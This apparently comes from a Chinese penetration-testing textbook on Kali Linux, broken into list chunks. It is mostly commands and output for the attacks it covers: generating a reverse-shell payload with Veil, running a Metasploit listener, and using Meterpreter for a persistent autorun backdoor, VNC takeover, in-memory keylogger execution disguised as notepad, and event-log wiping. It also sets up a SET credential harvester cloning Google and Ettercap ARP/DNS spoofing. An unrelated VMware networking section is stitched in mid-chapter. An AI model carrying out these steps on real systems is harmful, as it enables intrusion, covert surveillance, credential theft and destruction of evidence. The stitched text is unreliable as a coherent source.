LHOST IP of the Metasploit handler LPORT 4444 Port of the Metasploit handler PROCESSORS X Optional: Minimum number of processors SLEEP X Optional: Sleep \"Y\" seconds, check if accelerated TIMEZONE X Optional: Check to validate not in UTC USERNAME X Optional: The required user account USE_ARYA N Use the Arya crypter Available Commands: back Go back to Veil-Evasion exit Completely exit Veil generate Generate the payload options Show the shellcode's options set Set shellcode option [cs/meterpreter/rev_tcp>>]: 以上输出的信息中显示了攻击载荷的可配置选项。"},
    {"text": "执行命令如下： [cs/meterpreter/rev_tcp>>]: set LHOST 192.168.1.4 [cs/meterpreter/rev_tcp>>]: options Payload: cs/meterpreter/rev_tcp selected Required Options: Name Value Description ---- ----- ----------- COMPILE_TO_EXE Y Compile to an executable DEBUGGER X Optional: Check if debugger is attached DOMAIN X Optional: Required internal domain EXPIRE_PAYLOAD X Optional: Payloads expire after \"Y\" days HOSTNAME X Optional: Required system hostname INJECT_METHOD Virtual Virtual or Heap LHOST 192.168.1.4 IP of the Metasploit handler LPORT 4444 Port of the Metasploit handler PROCESSORS X Optional: Minimum number of processors SLEEP X Optional: Sleep \"Y\" seconds, check if accelerated TIMEZONE X Optional: Check to validate not in UTC USERNAME X Optional: The required user account USE_ARYA N Use the Arya crypter Available Commands: back Go back to Veil-Evasion exit Completely exit Veil generate Generate the payload options Show the shellcode's options set Set shellcode option 从输出的信息中可以看到，成功配置了LHOST选项。"},
    {"text": "执行命令如下： [cs/meterpreter/rev_tcp>>]: generate ======================================================================= Veil-Evasion ======================================================================= [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ======================================================================= [>] Please enter the base name for output files (default is payload): [>] Please enter the base name for output files (default is payload): veil #指定一个文件名 ======================================================================= Veil-Evasion ======================================================================= [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ======================================================================= [*] Language: cs [*] Payload Module: cs/meterpreter/rev_tcp [*] Executable written to: /var/lib/veil/output/compiled/veil.exe [*] Source code written to: /var/lib/veil/output/source/veil.cs [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/ veil.rc Hit enter to continue... 从输出的信息中可以看到，生成了一个可执行文件veil.exe，并且该文件保存在/var/lib/veil/output/compiled/中。"},
    {"text": "执行命令如下： root@kali:~# veil -t Evasion -p cs/meterpreter/rev_tcp.py --ip 192.168.1.4 --port 4444 ======================================================================= Veil-Evasion ======================================================================= [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ======================================================================= ======================================================================= Veil-Evasion ======================================================================= [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ======================================================================= [*] Language: cs [*] Payload Module: cs/meterpreter/rev_tcp [*] Executable written to: /var/lib/veil/output/compiled/payload.exe [*] Source code written to: /var/lib/veil/output/source/payload.cs [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/ payload.rc 从输出的信息中可以看到，成功生成了一个可执行文件payload.exe。"},
    {"text": "未知 6.3.3 创建监听器 当用户创建好攻击载荷文件后，还需要创建一个远程监听器。当目标主机执行该攻击载荷文件后，将主动与攻击主机建立连接。下面将介绍创建监听器的方法。 【实例6-13】 使用Metasploit的exploit/multi/handler模块创建监听器。具体操作步骤如下： （1）启动MSF终端。执行命令如下： root@daxueba:~# msfconsole msf5 > （2）加载exploit/multi/handler模块。执行命令如下： msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > （3）加载攻击载荷并配置模块选项。这里以使用msfvenom创建的载荷文件msf.exe为例。其中，该载荷文件使用的攻击载荷模块为windows/meterpreter/reverse_tcp，监听的IP地址为192.168.1.4。执行命令如下： msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set LHOST 192.168.1.4 LHOST => 192.168.1.4 （4）启动监听器。执行命令如下： msf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:4444 从输出的信息中可以看到，成功创建了监听器。其中，监听的IP地址为192.168.1.4，端口为4444。此时，当目标主机执行了用户创建的攻击载荷文件msf.exe后，即可获取一个远程会话。执行命令如下： msf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:4444 [*] Sending stage (179779 bytes) to 192.168.1.8 [*] Meterpreter session 1 opened (192.168.1.4:4444 -> 192.168.1.8:49220) at 2019-08-24 19:58:40 +0800 meterpreter > 从输出的信息中可以看到，成功获取了一个Meterpreter会话。 提示： 对于用户使用msfvenom和Veil攻击创建的攻击载荷，都可以使用exploit/multi/handler来创建监听器。操作过程类似，不同的是两种工具所加载的攻击载荷不同。这里加载的攻击载荷就是创建载荷文件时使用的模块，其配置信息要与创建的攻击载荷文件信息一致。 未知 6.4 使用Meterpreter Meterpreter是Metasploit的一个扩展模块，可以调用Metasploit的一些功能，对目标系统进行更深入的渗透，如捕获屏幕、上传/下载文件、创建持久后门等。通过前面的介绍可知，渗透测试者成功利用目标主机的某个漏洞后，即可获取一个Meterpreter会话，然后就可以使用Meterpreter对目标主机进行进一步攻击了。本节将介绍使用Meterpreter会话对目标做进一步渗透的方法。 未知 6.4.1 捕获屏幕 如果渗透测试者想查看目标主机当前的桌面信息，可以使用screenshot命令把对方的桌面显示出来，而且还能作为图片保存到本地。然后通过分析目标主机的桌面信息，可以获得一些对入侵有帮助的信息，如对方安装的杀毒软件类型、运行的程序等。捕获目标主机屏幕，执行命令如下： meterpreter > screenshot Screenshot saved to: /root/ XXJHeRDM.jpeg 从输出的信息中可以看到，成功截取了目标主机的屏幕，并且保存到了/root/XXJHeRDM.jpeg文件中。此时，用户可以查看该截图，以确定目标用户执行的操作，如图6.28所示。 图6.28 截取的屏幕 从图6.28中可以看到，目标用户打开了一个命令行终端窗口，还可以看到其及执行的命令。"},
    {"text": "未知 6.4.2 上传/下载文件 在Meterpreter会话中，用户还可以实现文件的上传和下载。其中，下载文件的语法格式如下： download file 上传文件的语法格式如下： upload file 【实例6-14】 从目标主机下载Pictures文件。执行命令如下： meterpreter > download Pictures [*] downloading: Pictures\\desktop.ini -> Pictures/desktop.ini [*] download : Pictures\\desktop.ini -> Pictures/desktop.ini [*] mirroring : Pictures\\Sample Pictures -> Pictures/Sample Pictures [*] downloading: Pictures\\Sample Pictures\\desktop.ini -> Pictures/Sample Pictures/desktop.ini [*] download : Pictures\\Sample Pictures\\desktop.ini -> Pictures/Sample Pictures/desktop.ini [*] mirrored : Pictures\\Sample Pictures -> Pictures/Sample Pictures 看到以上输出信息，则表示成功下载了Pictures文件。 【实例6-15】 将本地的nc.exe文件上传到目标主机上。执行命令如下： meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\\\Windows\\\\ system32 [*] uploading : /usr/share/windows-binaries/nc.exe -> C:\\Windows\\system32 [*] uploaded : /usr/share/windows-binaries/nc.exe -> C:\\Windows\\system32\\ nc.exe 看到以上输出信息，则表示成功上传nc.exe文件。此时，可以通过查看当前文件列表，以确定上传文件成功。执行命令如下： meterpreter > ls Listing: C:\\Windows\\system32 ============================ Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 0 dir 2009-07-14 15: 0409 45:33 +0800 100666/rw-rw-rw- 9808 fil 2009-07-14 7B296FB0-376B-497e-B012- 12:49:36 9C450E1B7327-5P-0.C7483456- +0800 A289-439d-8115-601632D005A0 100666/rw-rw-rw- 9808 fil 2009-07-14 7B296FB0-376B-497e-B012- 12:49:36 9C450E1B7327-5P-1.C7483456- +0800 A289-439d-8115-601632D005A0 100666/rw-rw-rw- 39424 fil 2009-07-14 ACCTRES.dll 07:57:56 +0800 100777/rwxrwxrwx 24064 fil 2009-07-14 ARP.EXE 08:10:38 +0800 100666/rw-rw-rw- 499712 fil 2009-07-14 AUDIOKSE.dll 09:05:33 +0800 100666/rw-rw-rw- 780800 fil 2009-07-14 ActionCenter.dll 07:56:36 +0800 100666/rw-rw-rw- 549888 fil 2009-07-14 ActionCenterCPL.dll 07:56:35 +0800 100666/rw-rw-rw- 213504 fil 2009-07-14 ActionQueue.dll 07:35:09 +0800 100666/rw-rw-rw- 111616 fil 2009-07-14 ActiveSockets.dll 07:52:24 +0800 100777/rwxrwxrwx 40448 fil 2009-07-14 AdapterTroubleshooter.exe 07:56:16 +0800 100666/rw-rw-rw- 577024 fil 2009-07-14 AdmTmpl.dll 07:54:53 +0800 …//省略部分内容 100777/rwxrwxrwx 17920 fil 2009-07-14 nbtstat.exe 08:09:05 +0800 100777/rwxrwxrwx 59392 fil 2019-08-24 nc.exe 15:49:54 +0800 100666/rw-rw-rw- 89600 fil 2009-07-14 nci.dll 08:09:26 +0800 100666/rw-rw-rw- 69120 fil 2009-07-14 ncobjapi.dll 07:47:05 +0800 100666/rw-rw-rw- 101376 fil 2009-07-14 ncpa.cpl 08:07:22 +0800 100666/rw-rw-rw- 307200 fil 2009-07-14 ncrypt.dll 07:49:34 +0800 从输出的信息中可以看到用户上传的nc.exe文件。 未知 1.5.2 桥接模式 VMware桥接模式是将虚拟机的虚拟网络适配器与主机的物理网络适配器进行桥接，虚拟机中的虚拟网络适配器可通过主机中的物理网络适配器直接访问到外部网络。简单地说就是，此时虚拟机相当于网络上的一台独立计算机或主机，拥有一个独立的IP地址，并且它和真实主机在同一个网段。在桥接模式中，虚拟机和宿主机可以互相访问。其中，桥接模式的网络拓扑如图1.38所示。 图1.38 桥接模式的网络拓扑示意图 当用户使用桥接模式时，可以和NAT模式结合起来构成双层网络拓扑模式。其中，构成的网络拓扑如图1.39所示。 当用户了解桥接模式的作用后，可以设置使用该模式连接网络。在虚拟机的菜单栏依次选择“虚拟机”|“设置”命令，打开虚拟机设置对话框。然后在“设备”列选择“网络适配器”选项，如图1.40所示。 图1.39 双层网络拓扑模式 图1.40 设置桥接模式 在右侧的“网络连接”部分选择“桥接模式(B):直接连接物理网络”单选按钮，并且勾选“复制物理网络连接状态(P)”复选框，然后单击“确定”按钮，则网络设置成功。"},
    {"text": "未知 6.4.3 持久后门 持久化后门是指当入侵者通过某种手段拿到目标主机的控制权之后，通过在服务器上放置一些后门，来方便以后持久性地入侵。例如，如果目标用户重新启动计算机，将会破坏好不容易获取的连接，通过使用后门，只要目标主机开机，将自动与攻击主机建立连接。这样即使连接被中断，也不会影响工作。下面将介绍使用run persistence命令创建持久后门的方法。语法格式如下： run persistence -X -i <opt> -p <opt> -r <opt> run persistence命令支持的选项及含义如下： ·-X：当系统启动后，自动启动代理。 ·-i <opt>：设置每个连接尝试的时间间隔，单位为秒。 ·-p <opt>：指定Metasploit监听的端口。 ·-r <opt>：指定反向连接运行Metasploit系统的IP地址，即攻击主机的地址。 【实例6-16】 使用run persistence命令创建持久后门。执行命令如下： meterpreter > run persistence -X -i 5 -p 8888 192.168.1.6 [!] Meterpreter scripts are deprecated. Try post/windows/manage/ persistence_exe. [!] Example: run post/windows/manage/persistence_exe OPTION=value [...] [*] Running Persistence Script [*] Resource file for cleanup created at /root/.msf4/logs/persistence/ TEST-PC_20190906.2945/TEST-PC_20190906.2945.rc [*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=192.168.1.4 LPORT=8888 [*] Persistent agent script is 99579 bytes long [+] Persistent Script written to C:\\Users\\ADMINI~1\\AppData\\Local\\TEMP\\ FTeLvKTgfxrA.vbs #创建的脚本 [*] Executing script C:\\Users\\ADMINI~1\\AppData\\Local\\TEMP\\FTeLvKTgfxrA. vbs [+] Agent executed with PID 1560 [*] Installing into autorun as HKLM\\Software\\Microsoft\\Windows\\Current Version\\Run\\yFMeMhwgHFSX [+] Installed into autorun as HKLM\\Software\\Microsoft\\Windows\\Current Version\\Run\\yFMeMhwgHFSX 从输出的信息中可以看到，在目标主机创建了一个可执行脚本。其中，该脚本文件名为FTeLvKTgfxrA.vbs。此时，用户在目标主机的C:\\Users\\ADMINI~1\\AppData\\Local\\TEMP目录中即可看到该文件，如图6.29所示。 图6.29 创建的可执行脚本 当用户在目标主机上创建了持久后门后，还需要在本地建立监听。这样，当目标主机重新启动计算机后，即可自动与攻击主机建立连接。下面将使用exploit/multi/handler模块建立监听。 （1）选择exploit/multi/handler模块。执行命令如下： msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > （2）加载攻击载荷并查看配置选项。执行命令如下： msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf5 exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target 从输出的信息中可以看到，必需项LHOST还没有配置，以及该模块默认的监听端口为4444。在创建的持久后门中设置监听的端口为8888，所以这里需要监听该端口。 （3）配置攻击载荷选项。执行命令如下： msf5 exploit(multi/handler) > set LHOST 192.168.1.4 LHOST => 192.168.1.4 msf5 exploit(multi/handler) > set LPORT 8888 LPORT => 8888 （4）建立监听。执行命令如下： msf5 exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:8888 [*] Sending stage (179779 bytes) to 192.168.1.6 从输出的信息中可以看到，当前主机正在监听端口8888，IP地址为192.168.1.4。 （5）当目标主机重新启动后，将主动与攻击主机建立连接。执行命令如下： [*] Sending stage (179779 bytes) to 192.168.1.6 [*] Meterpreter session 1 opened (192.168.1.4:8888 -> 192.168.1.6:49230) at 2019-08-27 10:59:13 +0800 meterpreter > 从输出的信息中可以看到，成功打开了一个Meterpreter会话。"},
    {"text": "未知 6.4.4 获取远程桌面 在Meterpreter中，用户通过执行run vnc命令，即可获取目标主机的远程桌面，然后渗透测试者即可对目标主机进行远程操控。执行命令如下： meterpreter > run vnc [*] Creating a VNC reverse tcp stager: LHOST=192.168.1.4 LPORT=4545 [*] Running payload handler [*] VNC stager executable 73802 bytes long [*] Uploaded the VNC agent to C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\ODxUvCC. exe (must be deleted manually) [*] Executing the VNC agent with endpoint 192.168.1.4:4545... meterpreter > Connected to RFB server, using protocol version 3.8 Enabling TightVNC protocol extensions No authentication needed Authentication successful Desktop name \" test-pc\" VNC server default format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 Using default colormap which is TrueColor. Pixel format: 32 bits per pixel. Least significant byte first in each pixel. True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0 Same machine: preferring raw encoding 成功执行以上命令后，将获取目标主机的远程桌面，如图6.30所示。 图6.30 远程桌面 该界面表明，成功获取了目标主机的远程桌面。 未知 6.4.5 在目标主机上运行某程序 在Meterpreter会话中，用户可以使用execute命令为目标主机上执行一个命令。语法格式如下： execute -f file [options] execute命令可用的选项及含义如下： ·-f file：指定要执行的命令。 ·-H：后台运行程序。 ·-a <opt>：指定绕过命令的参数。 ·-i：创建进程后，直接交互到Meterpreter会话上。 ·-d <opt>：在目标主机执行时显示的进程名称（用来伪装）。 ·-m：直接从内存中执行。 ·-s <opt>：以会话用户的身份在给定会话中执行进程。 ·-t：使用当前假冒的线程令牌执行进程。 【实例6-17】 在目标主机上启动一个记事本程序。执行命令如下： meterpreter > execute -f notepad.exe Process 1120 created. 从输出的信息中可以看到，成功创建了一个进程，其进程ID为1120。此时，用户在目标主机上即可看到打开的记事本窗口，如图6.31所示。 图6.31 记事本 如果渗透测试者想要确定是否成功启动了记事本程序，可以使用ps命令查看目标主机中的所有进程，以确定是否成功启动了notepad.exe程序。执行命令如下： meterpreter > ps Process List ============ PID PPID Name Arch Session User Path --- ---- ---- ---- ------- ---- ---- 0 0 [System Process] 4 0 System x86 0 NT AUTHORITY\\SYSTEM 208 668 vmtoolsd x86 0 NT AUTHORITY C:\\ProgramFiles\\ VMware\\ .exe \\SYSTEM VMwareTools\\vmtoolsd.exe 268 624 wpabaln x86 0 DAXUEBA- C:\\WINDOWS\\system32\\ .exe 112A8EA\\daxueba wpabaln.exe 376 4 smss.exe x86 0 NTAUTHORITY\\ \\SystemRoot\\System32\\ SYSTEM smss.exe 492 848 wmiprvse x86 0 NTAUTHORITY\\ C:\\WINDOWS\\system32\\ .exe NETWORKSERVICE wbem\\wmiprvse.exe 1120 1028 notepad x86 0 NTAUTHORITY C:\\WINDOWS\\System32\\ .exe \\SYSTEM notepad.exe 1296 668 alg.exe x86 0 NTAUTHORITY\\ C:\\WINDOWS\\System32\\ LOCALSERVICE alg.exe 1316 1028 cmd.exe x86 0 NTAUTHORITY\\ C:\\WINDOWS\\System32\\ SYSTEM cmd.exe 1460 668 spoolsv x86 0 NTAUTHORITY\\ C:\\WINDOWS\\system32\\ .exe SYSTEM spoolsv.exe 1480 1588 cmd.exe x86 0 DAXUEBA- C:\\WINDOWS\\system32\\ 112A8EA\\ cmd.exe daxueba 1588 1560 explorer x86 0 DAXUEBA- C:\\WINDOWS\\Explorer.EXE .exe 112A8EA\\daxueba 1640 1028 wuauclt x86 0 DAXUEBA- C:\\WINDOWS\\system32\\ .exe 112A8EA\\daxueba wuauclt.exe 1672 1588 vmtoolsd x86 0 DAXUEBA- C:\\ProgramFiles\\VMware\\ .exe 112A8EA\\daxueba VMware Tools\\vmtoolsd.exe 1952 1028 wscntfy x86 0 DAXUEBA-112A8EA C:\\WINDOWS\\system32\\ .exe \\daxueba wscntfy.exe 1976 668 VGAuth x86 0 NT AUTHORITY\\ C:\\ProgramFiles\\VMware\\ Service SYSTEM VMware Tools\\VMware VGAuth\\ .exe VGAuthService.exe 以上输出信息共包括7列，分别为PID（进程ID）、PPID（父进程ID）、Name（程序名）、Arch（架构）、Session（会话）、User（用户名）和Path（程序的路径）。从输出的信息中可以看到，PID为1120的程序为notepad.exe。由此可以说明，成功在目标主机启动了notepad.exe程序。 【实例6-18】 在目标主机上运行cmd.exe程序，并以隐藏的方式直接交互到攻击者的Meterpreter上。执行命令如下： meterpreter > execute -H -i -f cmd.exe Process 1896 created. Channel 2 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\\WINDOWS\\system32> 从输出的信息中可以看到，成功在Meterpreter上启动了CMD程序。此时，用户可以执行任何的Windows终端命令。 【实例6-19】 在目标主机内存中直接执行攻击主机上的程序klogger.exe，这样可以避免攻击程序存储到目标硬盘上时被发现或被查杀。执行命令如下： meterpreter > execute -H -m -d notepad.exe -f /root/klogger.exe -a \"-o klogger.txt\" Process 1488 created. 从输出的信息中可以看到，成功创建了一个进程，其进程ID为1488。"},
    {"text": "未知 6.4.6 清除踪迹 当渗透测试者入侵目标主机后，所有的操作都会被记录在目标系统的日志文件中。因此，为了不被目标系统所发现，清除踪迹是非常重要的工作。此时，用户可以使用clearev命令清楚踪迹。执行命令如下： meterpreter > clearev [*] Wiping 52168 records from Application... #应用程序记录 [*] Wiping 49036 records from System... #系统记录 [*] Wiping 34056 records from Security... #安全记录 从输出的信息中可以看到清除的相关记录。其中，清除了52 168条应用程序记录、49 036条系统记录和34 056条安全记录。此时，查看目标主机的日志信息即可发现相关的日志都已清除。在桌面右击“计算机”|“管理”命令，打开“计算机管理”对话框，如图6.32所示。 图6.32 “计算机管理”对话框 在左侧栏中依次选择“事件查看器”|“Windows日志”选项，将打开Windows日志面板，如图6.33所示。 图6.33 Windows日志面板 从中间栏中可以看到所有的日志事件数。“名称”列中包括应用程序、安全、Setup、系统和转发事件5类日志。其中，应用程序事件数为0，安全事件数为28，系统事件数为1。由此可以说明成功删除了目标主机的日志。 未知 6.5 社会工程学攻击 社会工程学攻击主要是利用人们的好奇心、信任、贪婪及一些其他的错误来攻击人们自身的弱点。Kali Linux提供了一个社会工程学工具集SET，可以用来实施社会工程学攻击。本节将介绍实施社会工程学攻击的方法。"},
    {"text": "执行命令如下： root@daxueba:~# setoolkit [-] New set.config.py file generated on: 2019-08-22 19:51:08.015489 [-] Verifying configuration update... [*] Update verified, config timestamp is: 2019-08-22 19:51:08.015489 [*] SET is using the new config, no need to restart Copyright 2019, The Social-Engineer Toolkit (SET) by TrustedSec, LLC All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of Social-Engineer Toolkit nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. The above licensing was taken from the BSD licensing and is applied to Social-Engineer Toolkit as well. Note that the Social-Engineer Toolkit is provided as is, and is a royalty free open-source application. Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit is due (which means giving the authors the credit they deserve for writing it). Also note that by using this software, if you ever see the creator of SET in a bar, you should (optional) give him a hug and should (optional) buy him a beer (or bourbon - hopefully bourbon). Author has the option to refuse the hug (most likely will never happen) or the beer or bourbon (also most likely will never happen). Also by using this tool (these are all optional of course!), you should try to make this industry better, try to stay positive, try to help others, try to learn from one another, try stay out of drama, try offer free hugs when possible (and make sure recipient agrees to mutual hug), and try to do everything you can to be awesome. The Social-Engineer Toolkit is designed purely for good and not evil. If you are planning on using this tool for malicious purposes that are not authorized by the company you are performing assessments for, you are violating the terms of service and license of this toolset. By hitting yes (only one time), you agree to the terms of service and that you will only use this tool for lawful purposes only. Do you agree to the terms of service [y/n]: 以上输出信息显示了使用SET工具的许可协议信息。"},
    {"text": "（2）选择社会工程学攻击，输入编号1，将显示如下信息： set> 1 1) Spear-Phishing Attack Vectors 2) Website Attack Vectors 3) Infectious Media Generator 4) Create a Payload and Listener 5) Mass Mailer Attack 6) Arduino-Based Attack Vector 7) Wireless Access Point Attack Vector 8) QRCode Generator Attack Vector 9) Powershell Attack Vectors 10) SMS Spoofing Attack Vector 11) Third Party Modules 99) Return back to the main menu. 以上信息显示了攻击社会工程学的菜单选项。"},
    {"text": "（3）选择Web攻击向量，所以输入编号为2，将显示如下信息： set> 2 The Web Attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim. The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload. The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload. The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website. The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different. The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast. The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful. The HTA Attack method will allow you to clone a site and perform powershell injection through HTA files which can be used for Windows-based powershell exploitation through the browser. 1) Java Applet Attack Method 2) Metasploit Browser Exploit Method 3) Credential Harvester Attack Method 4) Tabnabbing Attack Method 5) Web Jacking Attack Method 6) Multi-Attack Web Method 7) Full Screen Attack Method 8) HTA Attack Method 99) Return to Main Men 以上信息显示了可实施的Web向量攻击方法，并且详细描述了各种攻击方法的作用。 （4）选择证书获取攻击方法，所以输入编号3，将显示如下信息： set:webattack> 3 The first method will allow SET to import a list of pre-defined web applications that it can utilize within the attack. The second method will completely clone a website of your choosing and allow you to utilize the attack vectors within the completely same web application you were attempting to clone. The third method allows you to import your own website, note that you should only have an index.html when using the import website functionality. 1) Web Templates #使用Web模板 2) Site Cloner #复制站点 3) Custom Import #自定义输入 99) Return to Webattack Menu 以上输出信息中显示了创建Web站点的方式。"},
    {"text": "输入编号1，将显示如下信息： set:webattack>1 [-] Credential harvester will allow you to utilize the clone capabilities within SET [-] to harvest credentials or parameters from a website as well as place them into a report ----------------------------------------------------------------------- --- * IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT * --- The way that this works is by cloning a site and looking for form fields to rewrite. If the POST fields are not usual methods for posting forms this could fail. If it does, you can always save the HTML, rewrite the forms to be standard forms and use the \"IMPORT\" feature. Additionally, really important: If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL IP address below, not your NAT address. Additionally, if you don't know basic networking concepts, and you have a private IP address, you will need to do port forwarding to your NAT IP address from your external IP address. A browser doesns't know how to communicate with a private IP address, so if you don't specify an external IP address if you are using this from an external perpective, it will not work. This isn't a SET issue this is how networking works. set:webattack> IP address for the POST back in Harvester/Tabnabbing [192.168.1.4] :192.168.1.4 此时，指定获取目标用户提交信息的IP地址，即攻击主机Kali的地址。 输入以上地址后，将显示如下信息： -------------------------------------------------------- **** Important Information **** For templates, when a POST is initiated to harvest credentials, you will need a site for it to redirect. You can configure this option under: /etc/setoolkit/set.config Edit this file, and change HARVESTER_REDIRECT and HARVESTER_URL to the sites you want to redirect to after it is posted. If you do not set these, then it will not redirect properly. This only goes for templates. -------------------------------------------------------- 1. Java Required 2. Google 3. Twitter set:webattack> Select a template: 以上输出信息显示了SET默认提供的几个模板，包括Java Required、Google和Twitter。 （6）这里选择Google站点模板，所以输入编号2，将显示如下信息： set:webattack> Select a template:2 [*] Cloning the website: http://www.google.com #复制的站点 [*] This could take a little bit... The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website. [*] You may need to copy /var/www/* into /var/www/html depending on where your directory structure is. Press {return} if you understand what we're saying here. 提示： 如果用户的目录结构依赖/var/www/html目录的话，可能需要复制/var/www/下面的所有文件到/var/www/html文件夹中。"},
    {"text": "此时，按Enter键将显示如下信息： [*] The Social-Engineer Toolkit Credential Harvester Attack [*] Credential Harvester is running on port 80 [*] Information will be displayed to you as it arrives below: 看到以上输出信息，表示已成功发起了社会工程学攻击。"},
    {"text": "具体显示如下： set:webattack> Select a template:2 [*] Cloning the website: http://www.google.com [*] This could take a little bit... The best way to use this attack is if username and password form fields are available. Regardless, this captures all POSTs on a website. [*] The Social-Engineer Toolkit Credential Harvester Attack [*] Credential Harvester is running on port 80 [*] Information will be displayed to you as it arrives below: [*] Looks like the web_server can't bind to 80. Are you running Apache? Do you want to attempt to disable Apache? [y/n]: y #禁止Apache服务 [ ok ] Stopping apache2 (via systemctl): apache2.service. [*] Successfully stopped Apache. Starting the credential harvester. [*] Harvester is ready, have victim browse to your site. 通过使用SET工具包，成功复制了一个伪站点。"},
    {"text": "由于Web页面是通过DNS解析的，所以用户需要实施DNS欺骗。 在Ettercap工具中提供了一个dns_spoof插件，可以用来实施DNS欺骗。 下面将介绍使用Ettercap工具实施ARP攻击和DNS欺骗，将目标用户诱骗到伪站点页面的方法。 具体操作步骤如下： （1）修改Ettercap的DNS配置文件，指定欺骗的域名。 其中，Ettercap的DNS配置文件为/etc/ettercap/etter.dns，内容如下： root@daxueba:~# vi /etc/ettercap/etter.dns ################################ # microsoft sucks ;) # redirect it to www.linux.org # microsoft.com A 107.170.40.56 *.microsoft.com A 107.170.40.56 www.microsoft.com PTR 107.170.40.56 # Wildcards in PTR are not allowed 该文件默认定义了3个域名，被欺骗的主机地址为107.170.40.56。"},
    {"text": "添加的DNS记录如下： * A 192.168.1.4 （2）使用Ettercap发起ARP攻击并启动dns_spoof插件，即可实施DNS欺骗。 执行命令如下： root@daxueba:~# ettercap -Tq -M arp:remote -P dns_spoof /192.168.1.8// /192.168.1.1// ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Listening on: eth0 -> 00:0C:29:0E:0B:AD 192.168.1.4/255.255.255.0 fe80::20c:29ff:fe0e:bad/64 SSL dissection needs a valid 'redir_command_on' script in the etter.conf file Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_ tempaddr is not set to 0. Privileges dropped to EUID 65534 EGID 65534... 33 plugins 42 protocol dissectors 57 ports monitored 20388 mac vendor fingerprint 1766 tcp OS fingerprint 2182 known services Lua: no scripts were specified, not starting up! Scanning for merged targets (2 hosts)... * |==================================================>| 100.00 % 3 hosts added to the hosts list... ARP poisoning victims: GROUP 1 : 192.168.1.8 00:0C:29:34:75:8B GROUP 2 : 192.168.1.1 70:85:40:53:E0:35 Starting Unified sniffing... Text only Interface activated... Hit 'h' for inline help Activating dns_spoof plugin... #激活dns_spoof插件 看到以上输出信息，则表示成功实施了DNS欺骗。"},
    {"text": "（3）假设目标用户将访问腾讯站点 http://www.qq.com ，将显示如图6.34所示的页面。 图6.34 访问到的页面 （4）从该页面中可以看到，访问到的页面是登录Google服务器，但是地址栏中请求的网址仍然是 http://www.qq.com/ 。"},
